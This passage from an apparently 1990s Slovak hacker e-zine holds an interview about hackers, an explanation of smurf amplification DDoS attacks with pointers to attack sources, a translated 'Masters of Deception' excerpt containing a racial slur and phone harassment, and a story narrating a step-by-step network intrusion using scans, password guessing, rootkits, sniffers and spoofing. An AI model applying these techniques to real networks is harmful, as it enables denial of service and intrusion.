    Policajti su vacsinou vcelku slusni. Policajti ktori nedokazu ovladat svoje
    pocity nedokazu taku robotu dlho robit. Obcas mavam take sibalske telefonaty
    od hackerov a telefonnych phreakerov. To mi velmi nevadi, ono ma to vobec
    nestve. Dostavam dost emailov od hackerov z celeho sveta. Vacsina z nich je
    velmi priatelskych.


    4. Kolko hackerov sa snazilo ukazat Vam ich "umenie" ?

    Hackeri sa vzdy chvalia svojimi exploitami. Musia sa chvalit, pretoze
    keby ste ich sledovali pri tych ich neplechach, je to v skutocnosti dost
    hlupe. Mlady chalan s okuliarmi sedi a pise : ako vzrusujuce to moze byt ?


    5. Knihu THC ste napisali na zaciatku informacneho veku, na zaciatku
    masivnej explozie Internetu - stale sa zaujimate o dnesnu pracu hackerov
    a co si myslite o velkom vplyve Internetu ?

    *Ano, zaujimam sa dost o media a o dopad medialnych technologii na strukturu
    spolocnosti. Vlastne sa velmi nezaujimam o hackerov. Velmi sa zaujimam
    o pocitacovych milionarov, pocitacovych spionov, pocitacovu armadu, pocitacovu
    policiu. To su pocitacove skupiny, ktore maju skutocnu moc a vplyv na nasu
    spolocnost. Hackeri su vacsinou mladi chalani ktori sa citia bez moci a
    hladaju nejaky sposob ako by dokazali ze ziju a ze by sme si ich mali vsimat.


    6. Poculi ste niekedy o ceskej skupine hackerov, ktora sa vola CzERT ?

    Obcas o Czerte pocujem. Skor sa zaujimam o ceske zalezitosti. Napisal som
    raz clanok pre WIRED o zivote v Prahe, ktory sa volal "Triumph of the
    Plastic People." Mam rad Cechov. Napriklad Cesi si to spravili omnoho lepsie
    ako nestastni Slovaci. Ked sledujem udalosti vo Vasej casti sveta, zaujimam
    sa ovela viac o Meciarovu tajnu policiu ako o Czert. Meciarovi spioni
    schmatli prezidentovho syna, zbili ho, davali mu elektricke soky, naliali
    do neho whiskey a vyhodili v Rakusku. To je povsimnutelna vec. Czert,
    na druhej strane, je kopa technickych deciek ktore sedia pred obrazovkami
    a hybu prstami hore a dole.

    **) Nie su TVRDI hackeri - navstivili kopu ceskych internetovskych serverov,
    napr. Ministerstvo Obrany, Ministerstvo Zdravotnictva, jednu domacu stranku
    velkej banky - ale nikdy neukradli alebo neznicili ziadne data - iba spravili
    nejake zartiky a ukazali: Na tomto serveri nie je ziadna bezpecnost !

    *Toto je mierne otravna, ale v podstate neskodna aktivita. Nikomu to nepomoze
    prelomit bezpecnost webovskej stranky. Uvedomme si: cela Vasa *krajina*
    nie je bezpecna. Hlavne velmoci na Vasom kontinente mozu prebehnut tankami po
    celom Cesku kedykolvek si zmyslia. Naozaj chcete mat viac "bezpecnosti" ?
    Ceske atomove bomby, Ceske interkontinentalne rakety, obrovsku Cesku armadu,
    Ceske atomove ponorky ? Niektore druhy "bezpecnosti" proste za to nestoja.
    Citite sa lepsie teraz, ked som Vam povedal aku "nizku bezpecnost" mate ?

    *Co sa tyka Czertu, ich domace stranky a domace pocitace mozu byt "bezpecne,"
    ale ich *zivoty* nie su bezpecne. Ak hackeri naozaj nastvu policiu, mozu
    byt kedykolvek zatknuti a potom na seba navzajom poinformuju policiu, tak ako to
    hackeri robia. Je to velmi riskantny sposob zivota. Hackeri naozaj nie su v
    pozicii aby davali lekciu inym ludom o "bezpecnosti". Su mladi a lahkomyselni.



    navrat na obsah



    smurf attack



    "Smurf" utok, nazvany podla exploitu, je jednym z momentalne
    najpouzivanejsim v kategorii siet proti hostovi. Utocnik vy-
    tvori velke mnozstvo ICMP echo (ping) trafficu na pocitacoch
    s verejnymi IP adresami, vsetky so spoofovanou zdrojovou
    adresou obete. Pokial routovacie zariadenie doruci tento
    traffic verejnym adresam, vela hostov na tejto verejnej sieti
    prebere ICMP echo request a kazda z tychto adries mu odpovie.
    Tymto sa vynasobi traffic cislom adries, ktore odpovedaju.


    "Smurf" utok ma pribuzneho, ktory ma meno "fraggle". Ucel je
    v podstate rovnaky, len fraggle nepouziva ICMP, ale UDP. Bol
    to vlastne len jednoduchy prepis zdrojoveho kodu smurfu.


    Tieto dva utoky su uz nieco okolo jedneho roku stare. Teraz
    ale prisiel tzv. "Papasmurf". Papasmurf zvlada ICMP aj UDP,
    moze pouzivat len ICMP alebo UDP, alebo obidve naraz. Aby sa
    dalo smurfovanie pouzivat, treba mat najprv nieco ako zoznam
    tzv. "Broadcast" adries. Broadcast adresy su adresy pocitacov,
    kde nemaju patchnute nastavenie siete a umoznuju vam vyuziva-
    nie verejneho smurfovania. Taketo zoznamy sa daju ziskat na
    netscan sluzbach. Na rootshelli je k dispozicii zdrojak smurfu,
    fraggle a papasmurfu. Je tam aj odkaz na sajtu, kde najdete
    scan broadcast sieti, ktore budete potrebovat pri smurfovani.


    Uvedme si to na priklade (dost prehnanam).
    Povedzme si ze mame 100 broadcast adries a ze mame T1 linku.
    Povedzme ze posleme ICMP echo (ping) packety prudom 768kb/s
    so spoofovanou adresou obete tymto 100 adresam. Kazda prebere
    packety a kedze je zdrojova adresa spoofovana, tak odpovedie
    na nu. Cize jednoduchym vypoctom dojdeme na to, ze tychto na-
    sich 768kb/s x 100(hostov) = 76,8Mbps trafficu, ktory smeruje
    na obet. Dost dobre sa to da vyuzit pri spomalovani, popripade
    uplnom odpojeni obete. Tento utok sa najcastejsie pouziva na
    IRC a ludoch pripojenych na tom (napriklad takeover). Ludia,
    co pouzivaju na pripojenie od inetu modemovy dial-up su v pod-
    state hned vyradeni, staci ich iba priebezne pingnut na IRC,
    nech odtial vypadnu [ping timeout :))].


    Pocitace ktore mame v broadcast adress liste sa tiez nazyvaju
    "amplifiers" (zosilnovace utoku). A teraz nieco pre adminov.


    Paul Ferguson z Cisco systems a Daniel Senie z BlazeNet k tomu-
    to napisali RFC. Pre viac informacii a prikladov sa pozrite na
    adresu:
    ftp://ftp.isi.edu/in-notes/rfc2267.txt


    Adminom sieti doporucujem nastudovat o tomto informacie, aby
    ich pocitacie v sieti nemohli byt napadnute, popripade vyuzivane
    na zosilnovanie utokov. Scan siete ci moze byt vas pocitac pouzi-
    ty na zosilnovanie utoku vam umozni netscan: www.netscan.org


    Cast textu bola prevzata a prelozena z dokumentacie popisujucej
    smurfovanie, ktoru napisal Craig A. Huegen.



    d4Rkl0Rd


    navrat na obsah



    valka elektronickych gangu II.




    toto je slubene pokracovanie prekladu uryvku z knihy michelle slatallovej a
    joshua quittnera (quit@newsday.com) s nazvom "masters of deception: the gang that ruled
    the cyberspace" (harper-collins, 1995).

    preklad pajka


    V kazdom dobrom pribehu nadide cas, kedy sa dej neocakavane zvrtne.
    Zivot sa hybe dalej, tvoriac si svoju vlastnu rutinu a rytmus, ked zrazu
    nieco alebo niekto zasiahne, a vsetko sa zrazu zrychli. A pribeh sa uda
    novym smerom.


    Jedneho dna, na jesen 1989, behal Eli po znamom teritoriu na sieti a rozhodol
    sa mrknut sa na reporty o niekolkych znamych hackeroch z Brooklynu.


    Ten Brooklynsky hacker sa vola Corrupt. Povrava sa o nom ze je to specialista.
    MOD-u by sa vzdy zisiel nejaky specialista a Corrupt udajne vie o neznamych
    a silnych podnikovych VAX serveroch viac ako zakladatel Digital Equipment
    Corporation. Co by bolo vcelku dost, kedze Digital tieto zabite masiny
    vyraba.


    Expert ktory rozumie problematike administrovania VAX pocitacov by mohol
    rozsirit zakladnu MOD. Takyto frajer do VAXov by mohol pomoct ostatnym
    chalanom z MOD navigovat sa cez pocitace, ktore sa doteraz zdali byt
    prilis bizarne. Nielenze je VAX prave ten typ pocitaca ktory ocenuju hackeri,
    ktory zboznuju silu a versatilitu tohoto stroja, ale VAXy su tiez klucovym
    bodom informacnych systemov univerzit, akcioviek, malych podnikov,
    databazovych archivov a kniznic po celej krajine. No a samozrejme aj
    vlada ich ma plnu pazu. Vlada drzi kopu svojich tajomstiev schovanych na
    VAXoch.


    A Corrupt ich dokaze hacknut. Pridajte ho k skupine !


    Je toho vela co Eli nevie o Corruptovi. Nevie napriklad ze byva so svojou
    mamou v bejvaku na tretom poschodi pavlacoveho domu v Bedford-Stuyvesant
    (to je Bed-Stuy, urcite ste o tom poculi, tak ako ste iste poculi o
    Cabrini Green a Vychodnom LA), jednom z najhorsich casti New Yorku. Eli
    nevie ze Corrupt nebude musiet byt zoznamovany s konceptom MOD, pretoze
    Corrupt je zvyknuty na clenstvo v gangu ktory sa vola Deceptions. Jedna
    vec ktoru Eli rychlo zisti: skutocne meno Corrupta je John Lee.


    John Lee vytoci "0".


    Teraz je zaciatok roka 1999, a John Lee je v MOD. Tento hacker sa opiera
    o skupinku telefonnych automatov a atriu vysokej Cicicorp budovy v centralnom
    Manhattane. Citi sa cool ked sa mrkne do svojho odrazu vo vyklade talianskej
    restauracie pri rohu otvoreneho priestoru.


    Okolo neho, chalani sa hraju s telefonmi ako vrabce pri krmelci, vytacaju
    a vesaju, skusaju randomne telefonne cisla. Povaluje sa tam okolo 50
    teenagerov, vymienaju si informacie o tom ako sa da naburat do pocitacovych
    systemov, formuju energeticke clustery. Chalani vytacaju cislo o ktorom
    ktosi tvrdi ze pripoji na New Yorsky switch. Cislo este minuly tyzden
    fungovalo. Hackeri sa zgrupovali okolo siestej hodiny, kratko na to ako
    kancelarski uradnici z Citicorp budovy zmizli v metre. Chalani sem chodia
    raz za par tyzdnov, kazdy prvy piatok v mesiaci. Nezaleziac na pocasi,
    nosia obnosene bundy, siroke rifle, topanky s hrubymi podrazkami, hrube-hrube
    cierne opasky so stvorcovymi kovovymi prackami vaziacimi do dvoch kil.
    Nemozete si ich nevsimnut. Ich stretnutie je ich "meeting".


    Prichod Johna Leeho do MOD je prirodzeny, pretoze ma silny zaujem o
    pocitacove dobrodruzstva; vsetko co xce robit je naburavat sa do novyh
    systemov. Za ten rok co si zohnal modem sa naucil tolko o hackovani a
    crackovani ze f pohode dohnal ostatnych v MOD tlupe. Spravi cokolvek
    aby sa dotal do noveho pocitaca. Prenikne do siete, potom odovzda informacie
    ostatnym MOD clenom. On je skaut; oni obsadzuju teritorium.


    Z telefonnej budky sa John pripoji na operatora. "Hej, som tunak na stoziari
    telefonneho vedenia," hovori, a pouziva pri tom svoj najhrubsi,
    najautoritativnejsi dospelacky hlas. Keby tak mohla operatorka vidiet Johna,
    vysokeho, 20-rocneho cernosskeho mladika s dreadlockmi, bielym trikom a
    khaki nohaviciach takych sirokych, ze by sa tam strcil este dalsi kamos.
    Nevyzera absolutne na toho na koho sa hra - bieleho technika telefonnej
    spolocnosti v strednom veku na servisnom zasahu telekomunikacnej stanice.
    Ale znie tak.


    A to mozno staci. Mozno sa operator necha presvedcit jeho hladkym techno-zargonom
    a da mu otvorenu linku.


    "Ano, potrebujem - sakra"


    Odpojene.


    John zavesi.


    Medzitym dole v Texase su chalani z Legoin of Doom sucastou sialeneho
    uhanania nadsenych hackerov, ktory vsetci naskocia naraz na jednu telefonnu
    linku, plniac konverzaciu ako metro v dobe dopravnej spicky. Chris
    (aka Erik Bloodaxe) a priatel pod menom Scott Chasin su kamosi od polky
    80-tych rokov, ked boli obaja nahodou prihlaseni na Stredozapadnu undergroundovu
    BBS-ku s nazvom World of Kryton. Scott a Chris zistili ze maju toho kopu
    spolocneho: obidvaja boli narodeni zaciatkom 70tych rokov a vyrastali v
    bezpecnom prostredi ktore si dovolila biela stredna vrstva v Texase.
    Mali podobne hobby: obidvaja robili konferencne mosty, ako to nazyvali.


    Telefonna linka pouzivana skupinou Legion Of Doom patri - nuz, povedzme
    len ze bola docasne oslobodena od miestnej telefonnej spolocnosti,
    umoznujuc anarchickym hackerom viest obrovske transkontinentalne konferencne
    hovory ktore vytvarali mosty cez mesto, krizom cez stat, ako sa jeden chalan
    za druhym pripoja na tuto linku. Ak si na linke a mas troj-smerne volanie
    na svojom telefone, stlacis flash a odpojis hovor, potom zavolas kamosovi a
    stlacis znovu flash. Teraz mas troj-smerny hovor. A keby mal ten kamos tiez
    troj-smerny hovor, moze zavolat do konferencie dalsieho ucastnika.


    Tieto komunikacne retaze trvaju hodiny, dni, maratonske mnozstvo casu, ktory
    si dospelaci ani nemozu predstavit. Je toho tolko co si maju povedat. Mosty
    su vyborny sposob ako sa spoznat. Po takomto moste sa mozes vydat na cestu
    po svete, hovorit s jednym hackerom v Holandsku a sucasne konverzovat s niekym
    v New York City. Vlastne prave z New York city je skupinka mysterioznych
    novacikov ktori sa volaju Corrupt a Outlaw a obcas sa pri konferenciach
    vcelku pustia do Texaskych chalanov. Chris a Scott sa nikdy v reale nestretli
    s tymito chalanmi z New Yorku, ale poculi o nich. Iba povrchne. Poculi ze
    Corrupt a Outlaw su z miesta ktore oni pokladaju za "mestske ghetto",
    ale New Yorski chalani sa zda vcelku vyznaju vo veci.


    Jednej noci v roku 1990, na moste, okolo pat alebo sest hackerov - vsetko
    chalani z Texasu - kecaju spolu na jednej linke. O com sa rozpravaju ?
    Randomne veci. Chris nie je pripojeny, tak to aspon neskor tvrdi. Scott
    je na linke. Zrazu sa do konfery prida dalsi hlas, prida sa k skupine
    uprostred vety. Novy priselec nema prizvuk bezny v tychto koncinach.


    "Yo, tot je Dope Fiend z MOD", hovori novy priselec jasne ne-belosskym,
    ne-stredno-triednym, ne-Texaskym prizvukom.


    Jeden z Texasanov (ktovie kto ?) sa nasere.


    "Vykopnite toho negra z linky!"


    Novy priselec je ticho.


    Vlastne je odrazu teraz cela konferencia potichu, vsetci ti kecajuci
    chalani, ktori vyrastali tvrdo a chladno proti vyslovenemu slovu.
    Ako keby dostali facku po tvari. Ubehne zopar sekund. Kto chce k tomu
    nieco dodat ?


    A je to. Tak jednoduche ako vyslovit jednu nadavku. Rasovy epitet
    sa okamzite presunie na sever po stovkach kilometrov kablov, zvoniac
    v uchu Johna Leeho, ktory sedi za svojim Commie 64 vo svojom Brooklynskom
    byte na druhom konci linky.


    To slovo udrie Johna ako baseballova palka.


    "Vykopnite toho negra z linky!"


    Potom novy priselec hovori s inym prizvukom, a slova ktore povie bielym
    chalanom z Texasu su nasledovne: "Cau. Tu je Corrupt."


    Kto to povedal to slovo ? Teraz je to uz jedno; nic uz nebude ako pred tym.
    Ani pre Chrisa a Scotta, ani pre chalanov z MD, ani pre celu komunitu
    ktora vytvara hackerske podsvetie.


    Tymto slovom bola vyhlasena vojna.


    Chris Goggans je nepriatel Johna Leeho - a navzdy bude. Ale teraz v polovici
    90-tych rokov a po tejto nepriatelskej konfrontacii, John nepozna svojho
    protivnika ani podla mena "Chris". Iba vie ze je to Erik Bloodaxe.


    Ale John sa rozhodol ze riadne otravi zivot svojmu nepriatelovi. Najprv sa
    ale John musi dozvediet skutocne meno Erika Bloodaxa. Chris je tak notoricky
    znamy v podsveti, ze to Johnovi ani dlho netrva, kym ziska informaciu ktoru
    potrebuje.


    A to je fajn vec, kedze nemozes zavolat na informacie v Texase a spytat sa
    na priezvysko Bloodaxe. Takze John obide celu informacnu linku. Namiesto toho
    zavola do pocitaca Southwestern Bellu, odtial sa prihlasi na swicht a jednoducho
    si zisti Chrisove telefonne cislo v jeho troj-izbovom predmestskom dome, ktory
    ma prenajaty v severnom Austine.


    A potom zacnu telefonaty.


    Obcas pouzije John svoj poulicny prizvuk aby nasral Chrisa. Telefonaty
    su nekonciace. Nepomoze zavesit aparat. Sotva polozi sluchatko a telefon
    hned znova zazvoni. Chris ho musi nechat zveseny cele hodiny. Niekedy,
    ked otravuju Chrisa, volajuci povie, "Tu mas, pokecaj si so svojim kamosom,"
    a potom pred tym ako moze Chris zavesit pocuje klik a Scott sa pripoji
    do hovoru proti jeho voli a povie "Haloo? Haloo? Kto je to ?"


    Podla Chrisa spada tento druh otravovania definitivne do kategorie chovania
    ktore je totalne neakceptovatelne. Je to druh spravania proti ktoremu
    by mohol ochranovat, keby mal svoju vlastnu bezpecnostnu firmu. Chcel uz
    dlhsie spravit taku firmu, ale prave teraz sa jeho plany zhmotnuju.


    On a Scott sa o situacii dlho bavia, a dokonca uz aj vymysleli nazov
    pre firmu ktoru chcu vytvorit. Comsec Data Security je cele meno,
    ale Chris a Scott to volaju zjednodusene, Comsec.


    Jedneho dna pocas zimy 1990, Chris si stiahne kopiu History of MOD, subor
    ktory napisal Eli na oslavu narodenin MOD. Chris citi ze bol dost provokovany;
    chalani MOD sa pripojili na ustrednu ktora obsluhuje jeho stanicu a prepli
    mu medzimestske hovory zo Sprintu na AT&T. Chris o tom nevie az dokial
    sa nesnazi volat medzimesto. Nepocuje znamy klik. Takze potom, samozrejme,
    musi volat telefonnej spolocnosti. Skuste to vsetko vysvetlit uradnikovi
    v kancelarii a pochopite preco je taky nastvaty.



    ja som slubil v minulom cisle ze to v tomto dokoncim, ze ? juj ale nestihol som to cele
    prelozit, ale v tom buducom cisle to isto iste uz dokoncim :)

    pajka



    navrat na obsah



    abednego



    Tento pribeh bol napisany podla naozajstnej skutocnosti (az na FBI), osoby su
    s pochopitelnych dovodov zmene.


    Jedneho pekneho dna sedel pri pocitaci zavislak Abednego a prihlasil sa na IRC.
    Po pripojeni na kanal zaoberajuci sa OS Unix, sa "poobzeral po okoli",
    koho este nepozna a kde by mohol naviazat nejake kontakty. Hladal niekoho,
    s kym by si mohol pokecat, nieco noveho sa naucit. Vypadalo to ako v kantine
    vo Hviezdnych Vojnach.


    Votrel sa do rozhovoru ostatnych a po chvili kecania o nicom, po tom co
    uz pourazal polovicu kanala, zacal vyckavat na nejaku obet pomocou,
    ktorej by mohol vyprovokovat "flame war". A prave vtedy to prislo. Z
    cisteho kabla sa zjavil clovek s nicknamom Dogbery. Slusne sa opytal, ako by
    mohol napisat driver pre jeho pracovnu stanicu. Abednegova reakcia bola:
    ,, RTFM! ''. Co znamena Read The Fucking Mamual. Ostatni dali svoj nesuhlas
    najavo velmi "hlasnymi" urazkami na Abednegovu stranu. Ako sa zdalo, tak asi
    bola tato otazka na Abednega trochu moc a preto sa stiahol a nechal ich nech
    si len nadavaju. Ale Dogbery si tiez nedal pokoj a urazil Abednega strasnym
    slovom: ,, Newbie! ''. S Abednega vyleteli plamene hnevu:). Okamzite sa
    chcel pomstit!


    Ako tazky zavislak pouzil finger aby si zistil Dogberyho E-mailovu adresu
    a vyplulo mu to Dogbery@refrigerus.com. Okamzite ho napadlo, ze by mohol byt
    jednym z manazerov/programatorov tejto firmy. Aby si overil svoje
    domnieknky, pouzil telnet na mail server, a prikaz expn root@refrigerus.com
    vydal svoje ovocie. Zistil, ze Dogbery je hlavnym spravcom systemu.
    Jeho nervozita narastala, Abednego pustil strobe a cakal na vystup. Vedel,
    ze vysledkom moze byt miesto kadial sa moze dostat dnu. Ale strobe zachytil
    Dogberyho firewall. Velmi dobre nastaveny software si preluskal hlavicky
    paketov prichadzajucich do siete a vyhodnotil ich ako utok.


    Od tejto chvile firewall z refrigerus.com zacal bleskovo posielat kopy
    "hlusiny", teda kopu nepotrebnych udajov, plus nahodne pismena naspat na
    ABednegov pocitac. Uplne ho zahltil (zafloodoval). Zaroven bol firewall tak
    nastaveny, aby poslal E-mail na ISP utocnika, co aj urobil. Mail obsahoval
    upozornenie, ze sa niekto pokusa naburat do systemu. O par minut Abednegov
    ISP uzatvoril jeho konto s odvovodnenim, ze bol poruseny zakon o pocitacovej
    kriminalite. Ale jeho to vobec nerozhadzalo, ved to konto, ktore mu zrusili
    bolo iba jedno z mnohych, ktore si vyrobil ked sa dostal do systemu ISP.
    Jedine co ho rozculilo bolo to, ze mu to zrusilo IRC. Ohen v nom znovu
    zblkol, zacal tuzit po pomste. Jeho dalsi krok bol spustit stealth scanner.
    ( Pre tych menej informovanych stealth obchadza "three-way handshake" a na
    skenovany stroj posiela iba FIN a RST pakety) Velmi dobre vedel, ze sa v logoch
    po nom, pri tomto sposobe skenovania, neobjavia ziadne zaznamy. Ale
    nedomyslel to dalej, pretoze vo FIN pakete je dostatok dat na ziskanie
    identity utocnika.


    Abednego sa rychlo pozrel na web aby si nasiel nejake dalsie resp. lepsie
    veci na utok. Zacal hladat stealth scannery na undergroundovych strankach.
    Kedze C -cko moc neovladal, tak sa spoliehal, ze mu bude stacit, ked si
    zdrojaky skompiluje.


    Zatial mlady Dogbery si zvolil inu cestu. Potom ako sa spriatelil s
    technikou u jeho miestneho ISP, sa naucil ako spravovat siete. Velmi davno
    pred tym, ked hraval hry od rana do vecera, sa aj naucil ako sa do nich
    dostavat. Co sa mu vyplatilo ked nastupoval u ISP a pomahal im zabezpecit
    ich siet. A kedze bol sikovny ISP si ho nechal a zamestnal ho na ciastocny
    uvezok pokial si nedokonci vysoku skolu. A tu Abednego neodhadol spravne
    situaciu, Dogbery bol stary veteran/hacker.


    Na usvite, Abednego dokoncil prave kompilaciu. O par minut mu vydal scanner
    svoje vysledky, ale nebolo to nic moc. Iba ssh demon a web server. Ale
    prave ked prestaval dufat scanner narazil na port 31 659.


    O tomto case este Dogbery hlboko spal. Jeho program EtherPeek (sniffer
    instalovany na domene refrigerus.com) detekoval port scan. Dogbery vtrhol do
    kancelarie aby sa pozrel co sa deje, popozeral si vypisi na jeho konzole.
    Abednego prave dostal chut ist na stroj cez port 31 659, ale prave
    "nejaka" hackerska intuicia mu povedala, ze by sa mal radsej vratit niekedy
    inokedy, niektoru inu noc. Teda Dogbery nespozoroval na svojom pocitaci
    ziadnu inu aktivitu a preto usudil, ze utocnik uz asi skoncil.


    Kuriozne na tom bolo, ze z "neuzitocneho" utoku zacal Dogbery analyzovat
    data a logy az nakoniec zistil z FIN paketov utocnikovu adresu.


    Vyzbrojeny tymito infornaciami poslal e-mail Abednegovmu provajderovi a
    chcel si od neho vyziadat blizsie informacie ohladom konta. Ale sysadmin u
    provajdera mu odpovedal, ze taketo informacie mu poskytnut nemoze, pretoze
    to bol iba scanner a to nie je porusenie zakona!


    O tri noci neskor sa Abednego rozhodol, ze dokonci nahanacku. Ale ked sa
    logol u ISP, tak ho nasiel zrusene s poznamkou, ze mu expirovalo heslo. Tak
    zavolal provajderovi a ten mu oznamil, ze konto bude zrusene vzhladom na FIN
    attack. To ho ale riadne dopalilo. Okamzite zavolal inemu providerovi a o
    par minut bol zasa na net-e. Na klavesnici si napisal jednoduchy prikaz
    whois refrigerus.com. Odpovedou mu bol zaznam, ze vlastnikom je spolocnost
    REFRIGERATORS R Us. Teraz sa rozhodol, ze skusi stastie cez port 31 659.
    Napisal telnet reefrigerus.com 31569. Po spojeni mu na obrazovku vyletel
    napis "You lamer! Did you really think this was a back door?!" Potom mu
    este poslal par nezmyselnych pismem a nakoniec na neho poslal nesteu.
    Zaroven program poslal mail provajderovi, ze sa niekto pokusa naburat
    system, a Abednegovo spojenie o par minut skoncilo, s oznamenim, ze vzhladom
    na pocitacovu kriminalitu bolo konto zrusene.


    Jeho rozhodnost pomstit sa stupala. Zacal kruzit okolo firewallu ako
    besna macka, z jedneho z mnozstva hacknutych kont u jeho ISP. Zacal si
    zoradovat informacie o pocitacoch v domene. Pustil si nslookup ale
    nevytiahol ziadne uzitocne informacie. Uz skormuteny si pustil IP scanner
    aby oskenoval IP adresy okolo refrigerus.com. Presiel asi 50 adries ale bez
    zaruky, ze su v okoli refrigerus.com, ale aspon nieco.


    Dalsi prikaz bol whois, aby zistil ktore ine domenove mena su
    registrovane na firmu REFRIGERATORS R Us. Nasiel adresu refrigeratorz.com,
    ktora bola numericky rozna od refrigerus.com a jeho IP scanner nasiel este
    dalsich 5 IP adries ciselne blizko refrigeratorz.com.


    Abednego sa nalogoval na dalsie a z neho na dalsie konto, bolo to jedno z
    mnozstva jeho hacknutych kont, aby mohol pustit viac FIN scannov. Skoval
    svoje procesy cez jeden z mnozstva root kitov potulujucich sa po webe.
    Napriek tomu si este nainstaloval Trojskeho kona aby pri akomkolvek naznaku
    zmazal vsetko co by nejako s nim suviselo (logy a tak....). Z tohoto miesta
    zacal skenovat dalsie pocitace z domeny refrigerus.com a refrigeratorz.com.
    FIN scanner presiel aj napriek firewallu skoro ku kazdemu z nich.
    Samozrejme, ze EtherPeek nelenil a aktivoval Dogberyho pager!


    Dogberry, potom co doletel do prace, zasa krvopotne analyzoval logy aby
    zistil povodcu FIN scannu, co sa mu aj podarilo a upozornil Abednegovho ISP
    na jeho 3 hacknute konto. Ale root kit si uzrobil poriadne svoju pracu, a
    skryl Abednega od odporneho systemaka. A Abednego s kludom presiel z stealth
    scannera na strobovanie, dufajuc, ze najde IP-cko, ktore firewall nechrani.
    Ale nevsimol si pritom mnozstvo dat, ktore zacal chrlit firewall, a nakoniec
    samozrejme nezabudol upozornit Abednegovho provajdera na jeho hacknute
    konto. Okamzite sa rozhodol, ze tvrdo sa odpoji od Internetu. Ked jeho
    spojenie zamrzlo, pomyslel si, ze nie je ziadna elegantna cesta ako firewall
    obist.


    Ako si domyslel, ze niektore pocitace z REFRIGERATORS R Us mozu byt aj
    pracovne stanice nejakych zamestnanych kockacov. Co v nom prebudilo aspon
    aku taku sancu, ze niektori z nich pocas bezsennych noci bude chcet
    pracovat. Ved vzdy sa nejaky workoholik najde.


    S chutou sa pustil do realizacie svojho noveho napadu. Pustil si program
    ShockDial (je to wardialer t.j. program, ktory vytoci zakladne cislo do
    firmy a potom prejde vsetky mozne koncove kombinacie). Potom o 2:57 A.M.
    wardialer spustil utok a na Abednegovom monitore sa zobrazila potesujuca
    sprava:,, Refrigerators R Us Marketing Department. Irix 6.3''. ''AA konecne
    nieco'', pomyslel si. Dalsia jeho strategia je brutalny utok a to chce
    nasadit program, ktory by sa opakovane prihlasoval do Irixu a skusal by
    passwordy pre roota, dufal pri tom, ze zopar workoholikov bude mat povoleny
    pristup na pocitac aj na roota.


    "Passworder" zacal zo vseobecnymi slovami a menami, ktore byvaju obvyklou
    volbou. Takyto proces moze trvat mesiace. Ale zrazu ho vyrusilo pipnutie, a
    o 5:00 A.M. bol na svete prvy password a to "nancy". "Yes!", vykrikol
    Abednego. Okamzite si zabezpecil svoju poziciu, tym ze si ftp-ckol root kit
    a nainstaloval si ho. Nastavil ho tak, aby logoval vsetko co sa deje na
    sieti (sniffer) a aj aby logoval co kto napise na klavesnici. O par minut
    Abednegov sniffer zaznamenal uspech a to vo forme user:revenge
    passwd:DiEd0gB. Pracu, ktoru dnes Abednego robil nebola nijako narocna. Na
    hacknutom stroji si natukal who aby si zistil odkial ide user revenge a
    pocitat mu to ochotne povedal:


    6:03 am up 123 days , 1 users, load average: 0.00, 0.05, 0.07
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    revenge ttyp2 picasso.refrigeratorz.com 6.00am 0.00s 2.57s 0.16s -sh

    Este toto rano prisiel pravoplatny vlastnik servera picasso a nezistil nic
    co by indikovalo utok. Abednegov root kit pracoval dobre :).


    Na druhej strane, Dogbery po odhaleny logov zistil masivny utok z
    Internetu. Spomenul si na predosli FIN scann, ale zistil, ze ma prilis malo
    informacii aby mohol nieco podniknut.


    O dve noci neskor sa Abednego pripojil do siete aby si pozrel logy z
    picassa. Ale na jeho prekvapenie vsetko co jeho sniffer zaznamenal bolo
    kryptovane no napriek tomu, jeho keystroke zaznamenal niekoho, kto sa chcel
    lognut na pocitac menom fantasia. A teraz je Abednego cely rad, ze ma
    username a password. Sezam otvor sa! ;)


    Abednego zistil, ze ten pocitac (fantasia) je SPARC workstation pouzivana
    na renderovanie animovanych sekvencii. Pretoze sa mu malilo zacal nahanat
    passwd subor, dufajuc, ze nude moct nejake pouzit na vniknutie z vnutra
    siete. Ale jedine co nasiel bol shadowovany passwd subor. Zakerne sa usmial
    a spustil ftp-cko, skusal ho prinutit spadnut, a tak ziskat core file.
    Bingo! Core dump! No ale podarilo sa mu ziskat zakodovany shadow file, takze
    ho cakalo este vela prace a preto spustil svoj password craker, ktory bude
    zaneprazdneny luskanim suboru zopar dni.


    Ale jeho nedockavost nemala hranic. A tak zacal pracovat na exploite pre
    tento SPARC. Bol to jeden z mnoha typickych buffer overflow-ov. Cely
    nateseny zo svojho uspechu zacal zahladzovat stopy po jeho velmi "pilnej"
    praci z minulej noci. V hlave sa mu vynorila jedna myslienka:,, Moze sa
    niekto dostat na fantasiu z Internetu??'' a tak natukal last -100.
    A videl par ludi, ktory isli z vonku cez domeny adegency.com (user:vangogh a
    nancy), z ktorej firewall dovoluje logovanie. Ale po unavnej noci si siel
    radsej pospat, jeho adrenalin bol velmi vysoky. Isiel spat z vedomim, ze je
    blizko toho aby vlastnil REFRIGERATORS R Us.


    Nasledujuce poobedie si Abednego urobil male zahrievacie kolo, dostal sa
    do adagency.com. Nazaciatok pouzil IP spoofing aby pocitac zaznamenal
    falosnu IP-cku. Posielanim SYN paketov a analyzovanim ACK/SYN odpovedi
    nasiel potom vzorec podla, ktoreho sa generovali sequencne cisla. Rychlo
    este nainstaloval sniffer na adegency a pouzil ssh na spojenie s fantasiou.
    Na fantasii napisal netstat aby si pozrel aktivne spojenia a nasiel pocitac,
    ktory mu pri jeho predchadzajucich akciach unikal, t.j.
    admin.refrigerus.com. Teda to by mohlo byt miesto odkial Dogbery riadi
    system!


    Medzicasom Abednegov pocitac prelomil dalsiu kombinaciu (passwd) pre
    uzivatela, ktory mu fungoval aj na ostatne pocitace v sieti, nielen fantasiu.
    Prave vyhral dva krat. Podarilo sa mu uchovat si password usera vangogha
    na firemny Web server. Popri tom jeho sniffer zaznamenal nieco, bola to Nancy,
    pripojila sa z domu cez dial-up a za pomoci jej back dooru sa logla a ziskala
    rootovsky shell. Back door bol jej a pekne skryty za pomoci root kitu.
    Ihned sa vydal po Nancy-nych stopach a logol sa aj na ako root a vydal sa
    na vylet po vsetkych pocitacoch vo firme, napriek tomu, ze Dogbery bol poctivy.
    Ale napriek rootovskym pravam sa mu nedarilo zmenit passwordy pre jednotlive
    pocitace, pretoze to nebolo mozne. A tak sa vratil naspat na firemny web
    a zmenil tam webovske stranky, zmensou upravou, ktora obsahovala udalosti
    poslednych dni ;).


